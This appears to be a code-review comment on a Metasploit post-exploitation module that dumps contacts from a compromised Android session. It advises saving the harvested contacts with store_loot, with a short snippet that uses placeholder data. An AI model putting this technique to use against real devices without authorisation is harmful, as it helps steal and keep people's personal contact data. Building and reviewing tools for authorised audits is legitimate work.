Dumping these straight to file is not the best way, you want to make them loot so they show up in `~/.msf4/loot`, do not end up in the repo dir, and is easy to trash after an audit. Instead of writing to a fd, build a string and pass it to `store_loot`:

    data = "#1\nJOE\n123-123-1233"
    store_loot("android.contacts", "text/plain", session.sock.peerhost, data, "contacts.txt", "Android Contacts Dump")
